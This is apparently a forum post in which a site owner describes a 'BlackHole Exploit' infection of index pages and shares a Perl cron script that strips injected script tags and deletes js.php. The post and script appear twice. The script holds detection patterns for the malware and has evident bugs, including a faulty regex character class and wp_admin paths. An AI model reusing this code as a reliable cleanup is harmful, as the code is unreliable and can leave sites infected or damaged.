Will "BlackHoles" make Google ban your website?
I recently had one of my sites suspended by Google.
What had I done to 'offend' the Mighty One? Personally, nothing ... but some Russian hacker had caused my dilemma. And he can just as easily get your site(s) suspended by Google, resulting in hundreds of potential lost sales. And the thing is, you won't even know he's there snooping around!
In fairness, Google acted in the best interest of the internet community at large. You see, this rather nasty piece of work - which embeds itself within your home pages without your knowledge - will spread to other servers as soon as someone loads your home page into their browser, (or you access the login screen of your Wordpress account)
Having said that, you have to admire the programming skills of the hackers. The way it appears to work is this.
When someone loads your home page, it reports YOUR URL back to their central database to say that their script is available at this site. At the same time, it contacts that database, and selects another hacked website's URL, and stores it in your script. It also installs another piece of code which now snoops around your server, and locates any file that contains the words "index.html" or "index.php". Once again, it stores a random URL into each of these scripts.
In effect, as soon as someone loads an index page into their browser, the innocent looking javascript code "calls home" to the random URL site, and loads a script from the remote server, (and that web account is equally oblivious to the fact that they have malware on their machine) Quite what this "BlackHole Exploit" does after that - apart from infesting your scripts is unclear.
Now here's the thing. Because the script that "calls home" is an innocent piece of javascript that uses a SRC tag to load a document ... it cannot be seen by the server side virus protection programs!! Quite simply, it cannot distinguish between rogue javascript and bona fide javascript!
The only way you'll know about this is when someone visits your site, and your PC based virus software reports the exploit ... or when Google shut you down.
How do you get rid of the problem? Like a persistent weed; with difficulty! Remember, each index page will have a random URL in it, so its difficult to write a program that searches for a specific URL. Plus, as it evolves, it might use different javasript names. So whilst the code that currently snoops around your server is named "search.php", it could later become "search101.php" which will further complicate 'pattern matching' programs.
And even if you manually remove the offending code ... it can get reloaded into your scripts again, getting in via the "Black Hole" that let it in the first time around, (ie when some other site loads an index page - where your site is listed as the "call home" URL - the problem starts all over again!)
My method - which it has to be said is a work around rather than a solution - is to set up a CRON job to check my index pages every hour, and literally "weed out" the offending code. Now because the "BlackHole Exploit" is a script, it tends to amend your pages in a specific way. For example, with Wordpress scripts - including your admin login screen - it tends to place new code above the <?php start tag. With HTML pages, it places it after the <body> tag, usually on the same line.
It seems to consist of three parts; the javascript SRC that "calls home", the search component ("search.php"), and another file in the root directory called "js.php". Note: That's now: These names could later change!
So my perl script analyses each index page, looks for the telltale "call back" link, and then recreates the page in its CORRECT syntax before saving it again. It then looks for the "search.php" and "js.php" in the root folder of the account, and erases them if they exist. The script has to do this for EVERY domain hosted in your account, even sub-domains! As I say, not ideal, but if it avoids potential problems ...
The theory goes that if "js.php" is eradicated, when the remote URL "calls home", it will not find any script to call.
Here then is the script: (I named it "check_holes.pl")
##### THIS IS CHECK_HOLES.PL #####
#!/usr/bin/perl
# IT WILL UNFORTUNATELY ALSO DELETE ANY LEGIT JS CODE USED ON THE SAME LINE AS THE BODY TAG
# Providing javascript code is on a new line, no problem should occur
$base_path="home/XXXXXXXX/public_html";
opendir (FILES,"$base_path");
@files=readdir(FILES);
closedir(FILES);
@files=grep(!/^\./, @files);
@files=grep(!/\./, @files);
push (@files,"YYYYY/ZZZZZ"); # Add extra paths here
for ($x=0; $x<@files; $x++){
opendir (TMPFILE,"$base_path/$files[$x]");
@tmp_file=readdir(TMPFILE);
closedir(TMPFILE);
@tmp_file=grep(!/^\./, @tmp_file);
@wp_tmp=@tmp_file;
@wp_tmp=grep(/^wp_/, @wp_tmp);
@tmp_file=grep(/index/, @tmp_file);
next if $tmp_file[0] eq '';
for ($z=0; $z<@tmp_file; $z++){
&open_file;
}
if (@wp_tmp > 0){
&amend_wp;
}
}
if (-e "$base_path/js.php"){
unlink "$base_path/js.php";
$now=time();
($sec,$min,$hr,$day,$month,$year,$day_of_week,$day _of_year,$some) = localtime($now);
$year=($year+1900);
print "check_holes ran at $hr:$min $day-$month-$year";
}
sub open_file{
open (IND, "<$base_path/$files[$x]/$tmp_file[$z]");
@ind=<IND>;
close(IND);
for ($y=0; $y<@ind; $y++){
&remove if grep(/[search|js].php/,$ind[$y]);
}
}
sub remove{
$line=$ind[$y];
if($line =~ m|<body (.*?)<script (.*?)/js.php"></script>|igs){
$ind[$y]="<body $1\n";
}
if($line =~ m|<body (.*?)<script (.*?)/search.php"></script>|igs){
$ind[$y]="<body $1\n";
}
open (IND, ">$base_path/$files[$x]/$tmp_file[$z]");
print IND @ind;
close(IND);
print "$base_path/$files[$x]/$tmp_file[$z] has been corrected<br>";
last;
}
sub amend_wp{
$path="$base_path/$files[$x]/index.php";
&correct_wp;
$path="$base_path/$files[$x]/wp_admin/index.php";
&correct_wp;
$path="$base_path/$files[$x]/wp_content/index.php";
&correct_wp;
}
sub correct_wp{
open (WP, "<$path");
@wp=<WP>;
close(WP);
if (grep(/\<script /,$wp[0])){
$wp[0]="<?php\n";
open (WP, ">$path");
print WP @wp;
close(WP);
print "Wordpress: $path has been corrected<br>";
}
}
exit;
##### END CHECK_HOLES.PL #####
You would replace "XXXXXXXX" with your own eight digit server account name.
If you have any secondary index.html pages within a folder inside a domain, you will have to manually 'push' them into the database with the "YYYYY/ZZZZZ" link. Separate each path with a comma.
For example, your main domain (MY-SITE.com) is actually a folder on the server called "mysite" Within that folder is an index page which ends with the line: "We also have a cut-down version. Check it out at 'MY-SITE.com/cut_version' On the server, this is another folder within "mysite" called "cut_version". Inside that folder is ... yes, another index.html page. So in order for the script to check this line as well, you need to add the path "mysite/cut_version" replacing the "YYYYY/ZZZZZ" above.
Once the script is unloaded to your CGI-BIN, set the permission attibutes to "755". Next set up a CRON job via Cpanel to run this script once a day or, as in my case, once an hour.
Until some "techie" can decode the javascript the hacker created, and finds a way to block their "blackhole" for good, then at present, this is the best solution I have to protect my site. Maybe you should be protecting your site as well.
PERL PROGRAMMERS: OK, so maybe this isn't the best coding in the World, but it's the best I can do, and it works for me!
Feel free to comment on this solution, and even pass the solution on to others via other forums etc.
What had I done to 'offend' the Mighty One? Personally, nothing ... but some Russian hacker had caused my dilemma. And he can just as easily get your site(s) suspended by Google, resulting in hundreds of potential lost sales. And the thing is, you won't even know he's there snooping around!
In fairness, Google acted in the best interest of the internet community at large. You see, this rather nasty piece of work - which embeds itself within your home pages without your knowledge - will spread to other servers as soon as someone loads your home page into their browser, (or you access the login screen of your Wordpress account)
Having said that, you have to admire the programming skills of the hackers. The way it appears to work is this.
When someone loads your home page, it reports YOUR URL back to their central database to say that their script is available at this site. At the same time, it contacts that database, and selects another hacked website's URL, and stores it in your script. It also installs another piece of code which now snoops around your server, and locates any file that contains the words "index.html" or "index.php". Once again, it stores a random URL into each of these scripts.
In effect, as soon as someone loads an index page into their browser, the innocent looking javascript code "calls home" to the random URL site, and loads a script from the remote server, (and that web account is equally oblivious to the fact that they have malware on their machine) Quite what this "BlackHole Exploit" does after that - apart from infesting your scripts is unclear.
Now here's the thing. Because the script that "calls home" is an innocent piece of javascript that uses a SRC tag to load a document ... it cannot be seen by the server side virus protection programs!! Quite simply, it cannot distinguish between rogue javascript and bona fide javascript!
The only way you'll know about this is when someone visits your site, and your PC based virus software reports the exploit ... or when Google shut you down.
How do you get rid of the problem? Like a persistent weed; with difficulty! Remember, each index page will have a random URL in it, so its difficult to write a program that searches for a specific URL. Plus, as it evolves, it might use different javasript names. So whilst the code that currently snoops around your server is named "search.php", it could later become "search101.php" which will further complicate 'pattern matching' programs.
And even if you manually remove the offending code ... it can get reloaded into your scripts again, getting in via the "Black Hole" that let it in the first time around, (ie when some other site loads an index page - where your site is listed as the "call home" URL - the problem starts all over again!)
My method - which it has to be said is a work around rather than a solution - is to set up a CRON job to check my index pages every hour, and literally "weed out" the offending code. Now because the "BlackHole Exploit" is a script, it tends to amend your pages in a specific way. For example, with Wordpress scripts - including your admin login screen - it tends to place new code above the <?php start tag. With HTML pages, it places it after the <body> tag, usually on the same line.
It seems to consist of three parts; the javascript SRC that "calls home", the search component ("search.php"), and another file in the root directory called "js.php". Note: That's now: These names could later change!
So my perl script analyses each index page, looks for the telltale "call back" link, and then recreates the page in its CORRECT syntax before saving it again. It then looks for the "search.php" and "js.php" in the root folder of the account, and erases them if they exist. The script has to do this for EVERY domain hosted in your account, even sub-domains! As I say, not ideal, but if it avoids potential problems ...
The theory goes that if "js.php" is eradicated, when the remote URL "calls home", it will not find any script to call.
Here then is the script: (I named it "check_holes.pl")
##### THIS IS CHECK_HOLES.PL #####
#!/usr/bin/perl
# IT WILL UNFORTUNATELY ALSO DELETE ANY LEGIT JS CODE USED ON THE SAME LINE AS THE BODY TAG
# Providing javascript code is on a new line, no problem should occur
$base_path="home/XXXXXXXX/public_html";
opendir (FILES,"$base_path");
@files=readdir(FILES);
closedir(FILES);
@files=grep(!/^\./, @files);
@files=grep(!/\./, @files);
push (@files,"YYYYY/ZZZZZ"); # Add extra paths here
for ($x=0; $x<@files; $x++){
opendir (TMPFILE,"$base_path/$files[$x]");
@tmp_file=readdir(TMPFILE);
closedir(TMPFILE);
@tmp_file=grep(!/^\./, @tmp_file);
@wp_tmp=@tmp_file;
@wp_tmp=grep(/^wp_/, @wp_tmp);
@tmp_file=grep(/index/, @tmp_file);
next if $tmp_file[0] eq '';
for ($z=0; $z<@tmp_file; $z++){
&open_file;
}
if (@wp_tmp > 0){
&amend_wp;
}
}
if (-e "$base_path/js.php"){
unlink "$base_path/js.php";
$now=time();
($sec,$min,$hr,$day,$month,$year,$day_of_week,$day _of_year,$some) = localtime($now);
$year=($year+1900);
print "check_holes ran at $hr:$min $day-$month-$year";
}
sub open_file{
open (IND, "<$base_path/$files[$x]/$tmp_file[$z]");
@ind=<IND>;
close(IND);
for ($y=0; $y<@ind; $y++){
&remove if grep(/[search|js].php/,$ind[$y]);
}
}
sub remove{
$line=$ind[$y];
if($line =~ m|<body (.*?)<script (.*?)/js.php"></script>|igs){
$ind[$y]="<body $1\n";
}
if($line =~ m|<body (.*?)<script (.*?)/search.php"></script>|igs){
$ind[$y]="<body $1\n";
}
open (IND, ">$base_path/$files[$x]/$tmp_file[$z]");
print IND @ind;
close(IND);
print "$base_path/$files[$x]/$tmp_file[$z] has been corrected<br>";
last;
}
sub amend_wp{
$path="$base_path/$files[$x]/index.php";
&correct_wp;
$path="$base_path/$files[$x]/wp_admin/index.php";
&correct_wp;
$path="$base_path/$files[$x]/wp_content/index.php";
&correct_wp;
}
sub correct_wp{
open (WP, "<$path");
@wp=<WP>;
close(WP);
if (grep(/\<script /,$wp[0])){
$wp[0]="<?php\n";
open (WP, ">$path");
print WP @wp;
close(WP);
print "Wordpress: $path has been corrected<br>";
}
}
exit;
##### END CHECK_HOLES.PL #####
You would replace "XXXXXXXX" with your own eight digit server account name.
If you have any secondary index.html pages within a folder inside a domain, you will have to manually 'push' them into the database with the "YYYYY/ZZZZZ" link. Separate each path with a comma.
For example, your main domain (MY-SITE.com) is actually a folder on the server called "mysite" Within that folder is an index page which ends with the line: "We also have a cut-down version. Check it out at 'MY-SITE.com/cut_version' On the server, this is another folder within "mysite" called "cut_version". Inside that folder is ... yes, another index.html page. So in order for the script to check this line as well, you need to add the path "mysite/cut_version" replacing the "YYYYY/ZZZZZ" above.
Once the script is unloaded to your CGI-BIN, set the permission attibutes to "755". Next set up a CRON job via Cpanel to run this script once a day or, as in my case, once an hour.
Until some "techie" can decode the javascript the hacker created, and finds a way to block their "blackhole" for good, then at present, this is the best solution I have to protect my site. Maybe you should be protecting your site as well.
PERL PROGRAMMERS: OK, so maybe this isn't the best coding in the World, but it's the best I can do, and it works for me!
Feel free to comment on this solution, and even pass the solution on to others via other forums etc.
The 2nd Amendment, 1789 - The Original Homeland Security.
Gun control means never having to say, "I missed you."
The 2nd Amendment, 1789 - The Original Homeland Security.
Gun control means never having to say, "I missed you."